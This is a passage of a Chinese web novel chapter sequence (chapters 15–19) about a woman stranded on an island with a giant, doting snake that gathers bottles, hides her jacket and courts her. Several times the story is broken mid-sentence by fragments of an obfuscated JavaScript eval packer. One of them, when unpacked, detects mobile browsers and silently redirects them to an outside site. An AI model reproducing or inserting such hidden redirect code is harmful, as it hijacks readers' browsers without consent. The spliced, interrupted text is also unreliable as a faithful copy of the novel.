不过树林里有野猪野鸡兔子等各类动物,这些动物生存肯定也是需要淡水资源的,这也就意味着,树林里肯定有淡水。 但树林太大,想要找到水资源,并不是一件易事。 “蛇,你知道树林里什么地方有水吗?你平时在什么地方喝水?”余初瑾问它。 久久没有得到回应,余初瑾疑惑回头。 结果一回头,哪还有大蛇的影子。 蛇不见了。 眼看着天色渐黑,余初瑾默默咬紧了唇。 它这是又干什么去了,怎么又开始不告而别了。 余初瑾还来不及感到焦虑,大蛇再次出现在视野里,两小爪子上又抓了两东西。 两个玻璃瓶。 余初瑾:“……” 它把玻璃瓶放到余初瑾眼前,开始求表扬。 余初瑾望着脚边的玻璃瓶,严重怀疑大蛇是故意的,它分明可以一次性拿回来,它那灵活的尾巴卷十几个玻璃瓶都不在话下,可它就非要用爪子,两个两个的拿回来。 是不是想获得两次表扬? 余初瑾摇摇头,不至于,这条蠢蛇可没那么聪明,是自己想太多了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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第一反应是怎么突然有蚊子了,第二反应则是,对哦,这可是野外,而且是在荒岛上的海边,怎么可能没有蚊子。 这里应该是蚊虫泛滥才对。 可怪就怪在,她在荒岛上生活的这几天,压根就没有被蚊子咬的体验。 怪了事了。 除了蚊子这件事奇怪以外,似乎还有哪不对劲。 抬头看去,她知道不对劲在哪了,平时都会堵在庇护所门口的大蛇,今天不在。 庇护所门口空旷得很,没有大蛇的踪迹。 余初瑾看了看掌心拍死的蚊子,想到了一种可能,难道一直没有蚊子咬自己的缘故,是因为大蛇有驱蚊的效果? 还别说,还真有这个可能,以往睡觉大蛇都在旁边,所以没有蚊子咬,大蛇今天不在,她就被蚊子咬醒了。 余初瑾摇摇头,现在不是想蚊子这件事的时候,这条蠢蛇又去哪了,怎么动不动就不见。 余初瑾手脚并用地从狭小庇护所里爬了出来,都来不及活动有些麻木的手脚,便急切地四处环顾,找寻大蛇的身影。 不远处的海边,大家伙在埋头捣鼓些什么。 余初瑾默默松口气。 它在海边干什么,余初瑾一面揉着酸软的脖子,一面朝大蛇靠近。 待到她走到近点,看到眼前的一幕后,嘴巴诧异地张大。 15. 求偶 015求偶 满地的玻璃瓶,各式各样,粗略估计少说有一百来个,全都排排整齐的归列在沙地上。 大蛇见余初瑾过来,立马献宝,开心地摇头晃脑,尾巴甩来甩去。 “你这是把整个岛上的玻璃瓶全都捡了过来吗?” “嘶嘶。” 余初瑾望了望满地的玻璃,又望了望摇晃着尾巴求表扬的大蛇,一时无言。 大蛇脑袋上、脸上、爪子上,全都沾满了泥,从它现在的样子不难判断,它为了捡这些玻璃瓶,折腾了很久。 估计一晚上没睡,把整个岛都逛了一遍,把能捡的玻璃瓶全都捡了过来。 许是余初瑾昨天捡到玻璃瓶时,高兴的太过头,让这个一根筋的大家伙误以为她非常非常喜欢玻璃瓶。 因为她喜欢,所以不惜连夜逛遍整个岛,只为把所有玻璃瓶收集来,送给她。 它现在是一条脏脏蛇了,昨天沾满血,今天沾满泥巴。 昨天是为了保护她,今天是为了送玻璃瓶给她。 “真是一条傻蛇。”余初瑾心情复杂,摸摸它脑袋。 大蛇喜欢被摸,脑袋跟着手走,但依旧不忘眼巴巴地索要报酬。 而它所要的报酬,也不过是,想要被夸奖。 “你真棒,真厉害。”余初瑾笑着夸它。 大蛇歪头。 余初瑾顿了顿,懂了,连忙补上竖大拇指的固定动作。 刚补上这个动作,大蛇立马不歪头了,尾巴摇晃起来,憨憨地乐呵着。 “你找了一晚上的玻璃瓶,就为了得一句没用的夸奖,你傻不傻啊。” 傻蛇持续乐呵中,憨憨呆呆。 余初瑾摇摇头,蹲下来翻看脚底的玻璃瓶,当中有啤酒瓶,也有罐头瓶,调料瓶。 各种各样,应有尽有。 其中不乏有破损的,但大多完好,大部分都能使用。 看到其中一个罐子,余初瑾眼睛亮了一下,连忙拿起来。 这是个铁制的罐子,普通易拉罐大小,罐子经历风雨漂洋过海来到这里,已然锈迹斑斑,破旧不堪。 破旧到甚至无法分辨这个罐子之前是用来装什么的,可值得庆幸的是,虽破但未损。 这东西用处很大,铁质的罐子,可以用来煮水、煮汤。 勉强也能炒菜? 这么小的罐子炒菜估计够呛,但不管如何,有总比没有好。 余初瑾点点头,不错不错,算是一个大收获,只要能生起火来,她立马就能喝上汤了。 哎,这日子不就好起来了,越来越像模像样了,生活质量一下就上来了。 余初瑾美美的畅想着。 大蛇似也感知到了她的开心,跟着一块咧嘴笑,露出一排整齐的大白牙。 定睛看去,牙齿上沾了泥…… “你牙齿上怎么这么多泥巴。”话刚说出口,很快便意识到了是因为什么。 余初瑾看向地面的玻璃瓶,很多玻璃瓶上都沾满了泥。 估计是玻璃瓶太多,尾巴和爪子不够用,它选择了用嘴巴叼回来。 沾了泥巴的又何止大蛇牙齿,爪子上,尾巴上,就连脸上到处都是污泥。 “脏死了,昨天才给你洗的澡,今天又整成这样。”余初瑾嘴上嫌弃,但眼底都是笑意。 虽然玻璃瓶不值钱,但大蛇的这份心意很值钱。 余初瑾又不是什么铁石心肠的人,收到满满心意的礼物,怎么可能不动容。 对于大蛇笨笨的礼物,有点无奈,又有点感动。 “过来吧,我给你洗干净。” 大蛇还以为两脚兽又要摸摸它,兴致冲冲地凑过去,结果被拽着洗澡去了。 大蛇感觉受到了莫大的欺骗,嘴里发出抗议般的嘶嘶声。 它不喜欢洗澡,自然就不配合,动来动去。 “我有没有说过,脏兮兮的蛇,不是一条好蛇,不许乱动!” 一句话凶过来,大蛇老实了,不乱动了,虽然表情十分的不情愿。 余初瑾帮它擦脸上的泥,大蛇懵懂看着人。 余初瑾帮它擦爪子上的泥,大蛇继续懵懂看着人。 余初瑾笑,大蛇也跟着咧嘴笑,傻乎乎的。 “你笑什么,傻蛇。” “嘶嘶。” “玻璃瓶足够足够了,别去捡了,我根本用不上这么多。” “嘶嘶。” “等待会我生起火来了,我要烤野猪肉吃,到时候也分一点给你,我跟你说,熟肉可比生肉好吃多了,你到时候就知道了。” “嘶嘶。”大蛇像模像样的回应她。 就在余初瑾畅想待会吃烤野猪肉的场景时,原本晴空万里的天空,突然罩上一层乌云。 余初瑾抬头看去。 黑沉沉的天色,仿佛不是早上,而是即将入夜。 “不是吧,几天都不下雨,偏偏今天下?” 她还等着出太阳然后生火呢,要不要这么不配合。 别下雨,可千万别下雨,余初瑾在心里祈祷。 “轰隆” 一声惊雷伴随着闪电,宣告了余初瑾的祈祷失败。 旁边的大蛇被雷声吓了一跳,整个蛇都蹦了起来。 余初瑾沉默,一条巨蟒突然离地蹦了起来,那诡异画面,怎么可能不沉默。 雷声过后没多久,豆大的雨滴砸了下来。 余初瑾双手举头挡雨,慌忙往庇护所跑。 跑了两步,又停下来,差点忘了,既然都已经下雨了,那就得趁机多收集点水源。 虽然现在有椰汁喝,对水源的需求并不急切,但能收集的时候就尽量收集,谁也没办法估算她还需要在这里待多久。 下雨虽然让她的生火计划搁置了,但能趁机收集点水源,也不算是全然没好处。 余初瑾把大蛇捡回来的玻璃瓶,全都正放好,尽量让它们能多接一点水。 包括她之前捡的矿泉水瓶,也全都打开瓶盖,放到了雨水底下。 刚把矿泉水瓶摆好,大蛇一个尾巴扫过来。 “哐当”一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大蛇歪头观察两脚兽,确定对方没有在生气,不会敲自己脑袋了,这才放心地慢慢悠悠游了过来。 余初瑾坐在庇护所门口,大蛇盘起尾巴,趴在庇护所旁边。 大蛇也没个躲雨的地方,庇护所太小,它自然进不来,只能在雨里淋着。 对于淋雨这件事,大蛇倒是没什么所谓的样子,仿佛已经习惯了淋在雨里,可余初瑾看着有点于心不忍。 也没有什么别的好办法,并没有能容纳大蛇躲雨的地方,不得已,余初瑾把冲锋衣拿了出来,盖在了它的大脑袋上。 勉强也算是个能遮雨的东西,不至于被淋的眼睛都睁不开。 大蛇眼睛往上看,大大的眼睛里满是疑惑,两脚兽为什么要把她的皮顶在自己的脑袋上? 它突然想起,妈妈临终前曾告诉过它,它一辈子只会蜕一次皮,皮蜕下来后是要送给伴侣的。 皮是用来求偶的…… 16. 生火 016生火 “你干嘛?” 大蛇鬼鬼祟祟,一会扭头偷看,一会又扭头偷看,分明可以大大方方看,它就是要偷摸看。 “干嘛干嘛,一直偷看我做什么,你到底想干什么。” 大蛇也不回应,连嘶嘶都不嘶嘶一下,余初谨多和它说两句话,它还爪子刨坑,抛出一个小坑后,径直把脸埋小坑里了。 该怎么形容现在的它呢,羞涩? 总之就是扭扭捏捏,莫名其妙。 余初谨心里泛起嘀咕,不能是淋雨淋傻了吧,本来就挺傻一蛇,这下更傻了。 原本盖在头上用来给它避雨的冲锋衣,被大蛇用尾巴卷走了,压在身子底下,紧紧压着。 “外套是给你挡雨的,你压身子底下做什么。”余初谨一脸莫名。 大蛇再次把脸埋在小坑里。 余初谨:“……” 算了算了,随它去吧,反正外套也就那么点大,本也没法替它遮雨。 “既然你不用外套遮雨,那就把它还我吧。”余初谨伸手索要。 大蛇从小坑里探出头,看了看她摊在面前的手,然后把外套压更紧了,护得严严实实,如同护宝贝一般。 余初谨:“……” 这蠢家伙,不能是看中外套,觉得好玩,不想还给她了吧? 那可不行,在荒岛上,她的家当也就一件外套,外套后背还破了个洞,给它了她穿什么。 余初瑾想要把压在它身下的冲锋衣拽回来。 拽一下,没拽动,拽两下,还是没拽动,也不敢用太大力,怕把外套拽坏。 大蛇察觉到了她拽外套的动作,大眼睛瞪得圆圆,一个翻身,彻底把冲锋衣压的严严实实,余初瑾想拽都无处下手。 “嘶嘶!” 这声嘶嘶声音很重,像是生气警告,又像是更复杂的一种情绪表达。 算了,搞不懂,随它去吧,等之后有机会再把冲锋衣偷回来,现在它护的这么严实,硬拿只会把衣服弄坏,得不偿失。 看向远处,雨水打在海面上,掀起一层又一层的涟漪。 滴滴答答的雨声,很有催眠效果。 余初瑾打了个哈欠。 这么大的雨,什么事情也做不成,闲来无事,不如睡一觉。 得益于之前搭建庇护所的时候,多铺垫了几层从海边捡的编织袋,现在防雨效果一流。 除了门口偶有雨水飘进来,顶部可一点雨水都没有浸透,地面垫了滑翔伞的伞衣,很干燥,整体勉强算得上是舒适。 外面下着雨,听着雨声,昏昏欲睡。 “蛇,我困了,睡会。”余初瑾交代了一句。 大蛇埋头忙忙碌碌,不理人。 至于它在忙碌什么,余初瑾大概也能猜到。 也不知道是不是它好奇心太强了,先是把冲锋衣压在身下,不许余初瑾拿回去,等到余初谨不抢衣服了,它就开始埋头嗅冲锋衣。 时不时拿脑袋拱一下冲锋衣,时不时又嗅一嗅冲锋衣,时不时还用爪子按压一下冲锋衣。 它折腾来折腾去,嗅来嗅去的样子,都让余初瑾开始怀疑,衣服上是不是有异味。 还别说,说不定真有点味道,虽说每次洗澡前都会顺带洗一洗衣服,可大热天的,她又只有这一件外套,还穿了这么多天…… 大蛇一个劲的“研究”冲锋衣,余初瑾摇摇头,没再管它,只当是这条大蛇收获了一个比较新奇的玩具,正爱不释手。 估计等它玩一会,新奇劲过了之后,冲锋衣应该就能拿回来了。 余初瑾躺下,双手枕头,听着雨声入睡。 迷迷糊糊间,不知过了多久,雨声似乎停了。 余初瑾迷瞪地揉了揉眼睛,还来不及反应,庇护所突然一把被掀飞,整个天都亮堂了好几度。 余初瑾扯了扯嘴角:“你这条蠢蛇!你又拆我的家!都让你拆多少次了!!” 她那多灾多难的庇护所啊。 余初瑾从地上爬起来,想也没想冲过去就朝着大蛇脑袋“邦邦”来了两下。 平时一挨揍就缩脑袋逃走的大蛇,这次却一反常态没跑,反而竖起身体。 一道阴影瞬间遮盖住了渺小的余初瑾。 大蛇俯视着底下的人类,突然呲起獠牙,淡青色眼睛竖瞳,如同炸毛的野兽。 现在的大蛇,和上次它攻击野猪时的状态一模一样。 余初瑾回头看去,身后并没有其他动物,没有危险。 既然没有危险,那是不是说明,大蛇是在朝自己发怒? 怎么会,那么乖顺的一条蛇…… 大蛇明明都已经发怒了,但余初瑾仍觉得大蛇不可能朝她发怒。 直到,大蛇朝她张开血盆大口,要将它一口吞下。 “啊!” 余初瑾猛地从梦中惊醒,“蹭”一下坐了起来,额头沁出一层冷汗。 三角棚子高度不够,她突兀坐起来,头直接磕到了三角棚子的顶。 “嘶” 好疼,她倒吸一口凉气。 余初瑾捂着被磕到的头,缓了缓,刚缓过来一点,一个大脑袋,堵在了庇护所门口,把光亮全都遮住。 余初瑾看着它。 它看着余初瑾。 两两对视,谁也不说话,陷入诡异沉默。 沉默的对视持续了十多秒,余初瑾率先开口,打破了安静的氛围。 “吓死我了,你刚刚要吃我,你这条坏蛇!”虽然是做梦,但刚刚就是切实际的被吓到了。 被吓到了,那自己骂它几句又怎么了,反正它也听不懂,骂了就骂了。 大蛇想挤进来,但又顾忌着弄坏三角棚子,刚一动作又停住了。 余初瑾也不知道哪根筋不对,突然伸手,去掰大蛇的嘴巴。 突兀被掰嘴巴,大蛇有点懵,都没反应过来,就感觉到了人类的手伸到了它的嘴巴里。 余初瑾把手放它嘴里,等了三秒,“看来的确是做梦,现实中的你不会咬我。” 确认完毕,把手抽出来。 “哎呀,脏死了,都是的口水。”把手往它脑袋上擦。 人类很奇怪,做出的举动也非常的奇怪,余初瑾可不管大蛇觉得奇怪与否,把堵在庇护所门口的大蛇赶开,爬了出来。 外面的雨已经停了,地面的沙子湿润,一踩就陷进去一脚。 余初瑾伸了个懒腰,深吸了口气,雨过之后,空气格外的清新。 有海边特有的咸腥味,但更多的是雨过后的泥土芬芳,闻着让人心旷神怡。 活动了一下身体,然后便第一时间跑去瓶子的位置查看储水情况。 一排排的瓶子,摆了一大片,许是因为雨太大风太大的缘故,瓶子倒了一部分。 除去倒地没接到水的瓶子,还有一大半的瓶子接到了水,雨虽大,但瓶口太小,每瓶都只接到了半瓶水的样子。 不如预期,但也足够了。 大蛇不知道什么时候来到了身后,余初瑾背部一僵,顿时紧张起来。 当然,并不是因为害怕大蛇,而是唯恐它的大尾巴又来一个扫堂腿,到时候瓶子全被扫倒,好不容易收集到的水全洒掉。 余初瑾双手交叠成一个叉,如临大敌:“不许过来!” 大蛇停住动作。 余初瑾指了指地上的瓶子,又指了指它的尾巴:“这是我收集的水源,你要是弄倒了,你就是一条坏蛇。” 大蛇左歪头,右歪头,也不知道有没有听懂,但它也并没有再靠近了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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火绒摆在面前,干柴放在旁边,人趴在地上,手举着玻璃瓶,正对太阳调整角度形成光点。 余初瑾小心翼翼,呼吸放轻,一点点把光点移动到火绒上。 然后,便是维持住这个动作,耐心等待。 成败在此一举。 大蛇杵在旁边,歪头疑惑地瞅着,在旁边瞅着还不够,绕了一下,来到正前方瞅着。 余初瑾:“……” 这条蠢蛇就没有不捣乱的时候,它在前面把阳光全挡了。 余初瑾:“去去去,一边玩去,没看到我在忙正经事吗,不要捣乱。” 大蛇“嘶嘶”两声,不动。 余初瑾啧了一声,举起拳头,威胁的意味不言而喻。 大蛇虽然听不懂人话,但一举拳头,它就知道怎么一回事了,余初瑾举起拳头的一瞬间,大蛇就一溜烟跑了。 余初瑾扯扯嘴角,这家伙…… 把大蛇赶走,余初瑾再次进入状态,稍稍整理了一下火绒,举着玻璃瓶,对着太阳,等待点燃火绒。 1分钟过,10分钟过去,30分钟过去。 太阳晒在头顶,晒得头皮发麻,她没有穿冲锋衣,衣服被大蛇拿去玩了,这会手臂暴露在空气下,晒的生疼。 手都举麻了,手臂酸疼不已,额头的汗渍不断往地下砸。 折磨,简直称得上酷刑。 尽管如此,余初瑾仍旧咬牙坚持着。 又过去10分钟,余初瑾坚定的心开始动摇,这个方法真的能行吗? 是不是这个玻璃瓶有问题?是不是得换一个玻璃瓶?又或者说火绒不行? 她怀疑这里有问题又怀疑那里有问题,但让她放弃又不甘心。 又过去10分钟,余初瑾心气散了,颓丧不已,看来真的不行,就在她准备放弃的下一秒。 火绒上,冒起烟来。 很微小很微小的白烟,不仔细观察,差点都没留意到。 准备放下的手,瞬间停住。 心跳更是“咚咚咚”地急速加快,仿佛要跳出胸腔。 这是要成功了吗? 17. 哼唧 017哼唧 余初瑾紧张地手抖起来。 稳住稳住,胜利就在眼前。 白烟越来越大,眼见有火光隐现,余初瑾连忙放下玻璃瓶,趴下身子,凑近火绒,朝火绒吹气。 “呼……”不敢吹太大力,轻轻缓缓地吹,生怕把这好不容易燃起的火星吹灭。 “呼…呼…呼” 白烟渐重,火绒中心冒起火苗来,余初瑾看准时机,加重了呼气的力度。 “噗” 火苗猛地往上窜,整个火绒都被点燃。 ! 成了!! 兴奋两秒又快速冷静下来,赶忙把放置在一旁的干草一同点燃,并在上放架上木柴。 木柴架成一个三角形,底下留出空洞,这种摆放方式,有助于火的燃烧。 她蹲在一旁,火光照亮了她的脸,她小心翼翼地观察着火的燃烧情况,直到确定火不会中途熄灭,那颗悬着的心才彻底落地。 望着越燃越旺的火,余初谨站起来,双手叉腰,嘴角弧度逐渐咧大,最后更是放声大笑。 “哈哈哈哈。” “哈哈哈哈!” 一边笑一边还蹦跶了起来,她终于有火了,终于可以不用吃生肉了,终于可以活得像是一个人了。 终于终于!! 大蛇游动到她身边,歪着大脑袋,好奇地看了看大笑不止的余初谨,又好奇地看了看窜高的火苗。 余初谨笑着笑着,戛然而止。 反应瞬速,挡在大蛇和火之间:“不许拍我的火!” 这条哈士奇蛇,余初谨生怕它捣乱,这可是她千辛万苦才燃起来的火,她甚至都没信心,如果这次火灭了,下次是否还能再燃起来。 燃火的过程艰辛过头,艰辛到余初谨不觉得能轻易燃起第二次。 “你走远点,走开走开,不要靠近我的火。” 余初谨大声驱赶大蛇。 什么也没干的大蛇莫名被凶了一通,脑袋上的小耳朵达拉着,嘴巴一撇,委屈得不行。 大蛇被赶走,它游动到不远处的树下后,爪子搭在树干上,委屈地在树干上抓啊抓。 “咔擦咔擦” 爪子挠树的动静格外大,似乎是在用这种方式表达不满。 余初谨可不管那些,确定了大蛇不会再过来捣乱,这才放心地继续给火添柴。 添柴的同时,回头看了一眼在挠树的傻蛇。 大蛇见她看过来,抓树的动作停住,眼睛亮亮,眨巴眨巴,满含期待。 余初谨看了看身后的火,又看了看大蛇,面露疑惑,这个大家伙,好像并不害怕火。 动物不都应该害怕火吗,它怎么不怕,真奇怪。 奇怪也不奇怪,因为这条蛇奇怪的点,又何止这些,它全身上下就没有不奇怪的地方。 无论是性格还是外观,统统都透着古怪。 还好它是生活在无人的荒岛上,这要是生活在人类出没的地方,它铁定会被抓去做研究。 “火,你不怕吗?”余初谨指了指火。 “嘶嘶。”大蛇咧着它的大白牙。 余初谨挑眉:“看来你真的不怕,以前有见过火?” 大蛇小耳朵动了动,认真分辨着两脚兽说的话是什么意思,分辨了半天,没分辨出来,继续咧着大白牙,憨笑。 “你既然不怕火,也不捣乱,那就过来吧。”余初谨朝它招手。 招手的动作,它看得懂,立马屁颠颠地就过来了。 “你倒是不记仇,刚刚赶你走,你那么委屈,我现在又让你过来,你二话没说就过来了,”余初谨摸摸它脑袋, “瞧我这话说的,我以前还揍你呢,刚刚只是赶你没揍,怎么不算是我变温柔了呢。” 大蛇非常认可她的话,凑过去,继续求摸摸。 余初谨笑出声:“真是条傻蛇。” 火已经生起来了,余初谨可没空陪蛇玩,目光精准落到了昨天大蛇吃剩下的半头野猪上。 吃肉吃肉,可以吃肉了。 小跑过去。 大蛇黏糊糊地也跟了上来。 在荒岛上也没有什么保鲜的办法,昨天余初谨怕野猪变质,给野猪绑上绳子,丢到海里,利用海水低温保存。 “帮我把野猪捞上过来,就像昨天你帮我扔下去那样,这里有根绳子,你咬住拽上来就行。” 余初谨指了指海里的野猪,然后把绳子塞它嘴里,理直气壮的使唤大蛇。 大蛇理解了她的意思,叼起绳子,轻轻松松便把水里的野猪拖了上来。 余初谨摸摸它脑袋,竖起大拇指:“你真棒,真厉害。” 该夸的时候还是得夸,不然下次还怎么使唤它,余初谨小算盘打的很响。 大蛇乐呵呵,摇头晃脑,尾巴一甩一甩,满是被夸之后的愉悦。 余初谨走近野猪,蹲下,嗅闻。 很浓的血腥气并伴随着野猪特有的腥臊味,闻得人直泛恶心。 但应该是没有变质,没有腐臭味,估计还能吃。 余初谨想从野猪身上割下一块肉来,大腿位置的肉就很不错,全是瘦肉,她喜欢吃瘦肉。 没有刀,想要从野猪身上弄下一块肉来,不是一件简单事,但是,她有大蛇啊。 余初谨再次理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644061|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直气壮的使唤大蛇。 “这里,看到没,帮我从这里弄一块肉下来,你用嘴帮我咬下来,” 说完又摇头,“不不不,你用嘴咬的话,全是你口水,脏死了,你用爪子吧,你爪子也挺锋利的。” 使唤人就算了,还嫌它,得亏是大蛇听不懂,不然估计都不乐意搭理她了。 “怎么不动,爪子,帮我割一块肉。”她连说带比划。 大蛇懵懂眨眼。 这家伙又开始听不懂了。 余初谨直接上手,径直拽过它的爪子。 大蛇:“嘶嘶。” 余初谨:“叫什么,就借用一下你的爪子割一块肉而已,别那么小气。” 大蛇:“嘶嘶。” 拖着它的爪子往野猪身上割,才不管大蛇乐意不乐意。 爪子非常锋利,比刀子都要好用,随便划拉两下,一块完整的野猪腿肉就被割了下来。 割完肉便松开了爪子,大蛇获得自由,它忙把爪子揣起来,藏着,生怕又被余初谨拽过去。 “还揣起来,切,瞧你这小气样。” “嘶嘶!” 这个语调的嘶嘶是生气了,余初谨摸摸鼻子,装作无事提着一大块割下来的腿肉走了。 先是去海边清洗干净,随后找来树枝把腿肉串起来,最后跑回篝火边,开始烤制。 烤制的过程,余初谨全程咽口水。 吃了这么多天的果子,她是又饿又馋,还好是今天生起火来了,要是还没有,她可能真得啃生肉了。 大蛇不知道什么时候,来到了她身边,并试图引起两脚兽的注意,时不时就拿尾巴戳一下她。 余初谨“啧”上一声:“有事说事,我忙着呢,没看到我在烤肉吗。” “嘶嘶。” 大蛇不会说话,没法有事说事。 余初谨可不管,继续认真烤肉,她现在满心满眼都是这块肉,恨不得下一秒就能烤熟吃掉。 大蛇再次拿尾巴戳人,并发出焦急的“嘶嘶”声。 余初谨不得不暂停烤肉,侧头看向它。 她倒要看看,这条蛇到底要干什么,从它烤肉开始就一只在一边“哼哼唧唧”个没完。 大蛇见两脚兽终于看过来了,兴奋地抬起爪子展示。 “什么?” 大蛇“嗖”一下窜到野猪尸体边,爪子划拉了一下野猪,然后“嗖”一下又窜回来。 回来后,杵在人跟前,眼巴巴地看着人,急切又期待。 余初谨挠挠头,“什么,你想说什么?” 大蛇急得直踩爪子。 余初谨满头问号。 18. 花花 018花花 也怪不得大蛇时常听不懂人话,余初谨这会也根本理解不了大蛇在表达什么。 大蛇急得不行,在野猪和她之间来回跑。 跑到野猪那拿爪子划拉一下,又跑回来,随后满眼期待地瞅着人,顺带展示一下它的爪子。 跑过去,跑回来,展示爪子,一直重复这个操作。 在大蛇跑第三趟的时候,她抬手喊停。 “行了行了,跑来跑去的,你不累我都替你累,你一直跑过去拿你的爪子划野猪干什么。” 划完野猪回来,还得展示一下它的爪子。 “你是想炫耀你的爪子很锋利?” “嘶嘶。” 似乎并不是这个意思,因为大蛇急得开始围着余初谨转了。 余初谨目光落在它的爪子上,思考片刻,貌似懂了。 难不成它的意思是…… 余初谨竖起大拇指,“你真棒,真厉害。” 大蛇停下围着人转的动作,眼睛登时一亮,蛇身轻微摇晃,尾巴在沙地上扫动,爪子在沙地上欢快地踩来踩去。 余初谨扯扯嘴角,没想到还真是这个意思。 这条蛇,觉得它刚刚帮忙用爪子割肉了,虽然当时是强制性征用,但不影响它帮忙了,既然帮忙了,那就得到夸奖。 它一直在提示她,该表扬了,你忘记表扬了,可是两脚兽一直不理解,可把索要表扬的它急坏了。 余初谨好笑又无语,“你折腾来折腾去,整出这么大动静,急得好像天要塌了一样,我还以为是多要紧的事呢,结果就这?” 大蛇听不懂,但大蛇开心,小爪子在地上踩个没完,在沙地上留下一个又一个的爪子印记。 “有这么开心吗,”余初谨好笑摇头:“哪有你这么爱被夸的蛇。” 大蛇把脑袋怼过来。 这条蛇要求是越来越多了,又要夸,又要摸。 余初谨敷衍摸两下,继续烤肉。 大蛇不满意。 余初谨:“你让我先烤肉,我都快饿死了。” 烤了一会,野猪肉“兹拉兹拉”地响,油脂冒了出来,香味也随之蔓延出来。 余初谨嗅了嗅空气中烤肉的味道,喉咙不受控地吞咽了下。 肉又烤了一会,等不下去了,迫不及待掰下一块肉,急急送入嘴中,结果烫得她直呼气。 大蛇在旁边有样学样地“呼呼呼”。 余初谨没空管大蛇的呼呼,等到肉不烫了,尝到了肉的味道,眉心顿时皱成一团。 她怀疑地看着手上的肉,又臊又臭甚至带着一股土味,总之一言难尽,和家猪肉比较起来简直一个天一个地。 好失望,她以为会很好吃。 没办法,将就着吃吧,余初谨忍着那股子腥臭味,又掰下一块,吹了吹,送入嘴中。 都不敢多嚼,怕味道在舌尖扩散,赶忙咽了下去。 吃之前,饿得能吞下一头猪,吃之后,一块腿肉都没吃完。 吃了个七八分饱就停了,实在是难吃,要不是饿,她一口都不想碰。 余初瑾吃东西期间,大蛇一直眼巴巴看着。 “你要尝尝吗?” 余初瑾把剩余的烤肉,递到它面前。 下一秒,余初瑾半个手臂,都被大蛇含了进去。 余初瑾:“……” 自己是真的不太长记性,又忘了,又在徒手喂它,这家伙就不能徒手喂。 “吃东西就不能温柔一点嘛,怎么每次都把我整个手臂都含进去。”余初瑾拔出手,看着沾满大蛇口水的手臂,哭笑不得。 大蛇丝毫不觉得含她手臂有错,乐呵呵咀嚼着腿肉。 余初瑾一边擦手臂上的口水,一边问它:“烤熟的肉,是不是好吃一点,是不是从来没吃过这么美味的东西?” 很快,大蛇给了答复。 “呸”一声,吐掉了。 余初瑾眼角抽搐两下,很好,已经确定了,她和它的口味是完全相反的。 它喜欢吃酸桃子,喜欢吃生肉,而余初瑾喜欢吃甜桃,没法接受生肉。 不过也不奇怪,她们本就是两个不同的物种,口味不同实属正常。 大蛇歪着疑惑的大脑袋,看着底下的两脚兽,仿佛在说:好好的食物,你为什么要把它弄难吃了再吃。 余初瑾:“……” 虽然野猪肉不好吃,但也吃了个饱,肚子里有了点像样的食物后,人精神也变好了不少。 但还是有些乏力,可能是因为长时间没有吃盐的缘故。 剩余的半头野猪,余初瑾本来还有想法,想着切成条风干熏制保存,但刚刚尝了之后,想法被打消了。 这么难吃的玩意,她实在没兴趣费力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大蛇把花递到余初瑾跟前,忐忑又期待,两脚兽会喜欢吗? 余初瑾迎上大蛇期待的目光,来了一句:“我外套呢,你藏哪去了,赶紧还我。” 19. 暧昧 019暧昧 眼看着天就要黑了,海边晚上温度较低,没有外套的话,会有些冷,余初瑾想把外套要回来。 可这条大蛇,也不知道把外套藏哪去了,余初瑾在附近找了一圈,愣是没找着。 本以为它是对外套感到好奇,让它玩一会之后就能拿回来,谁能想到,它还把外套藏起来了。 问它也问不出个所以然。 余初瑾甚至都怀疑它把外套撕碎吃掉了,这种蠢事,这条蠢蛇估计也干得出…… 大蛇对她索要外套的话充耳不闻,背过身子,爪子扒拉着它找回来的那一束花。 是路边采来的野花,白花红花相间,很漂亮的,但两脚兽似乎不喜欢。 余初瑾倒也没有不喜欢,只是不太关注,花接过来后随手就放一边了,她目前可没有心思赏花。 比起这束没用的花,余初瑾对野鸡和桃子更感兴趣,跑到火堆旁处理野鸡去了。 大蛇难得的没有黏糊糊跟上来,而是蹲在那束花旁,背对着人,郁郁寡欢的样子。 小爪子时不时扒拉一下花,时不时又回头看一看在火堆旁处理野鸡的人类。 这么好看的花花,两脚兽为什么不喜欢呢? 郁闷了一会,很快又重新打起精神,不喜欢这个花,那下次采别的花,总会采到她喜欢的花,两脚兽喜欢玻璃瓶,下次还给她找那个。 大蛇成功把自己哄好,重新回到余初瑾身边,脑袋往人手上拱。 正在拔鸡毛的余初瑾:“……” 哦,差点忘了。 它弄回来了野鸡和桃子,还没夸它呢。 “你真棒,真厉害。”竖起大拇指。 大蛇摇头晃脑,今天得到了好多次夸奖,嘿嘿嘿。 刚高兴没两秒,两脚兽就开始赶蛇了。 “夸也夸完了,自己玩去,我要处理野鸡,没空摸你。” “嘶嘶。” 余初瑾推了推大蛇,示意它走开些。 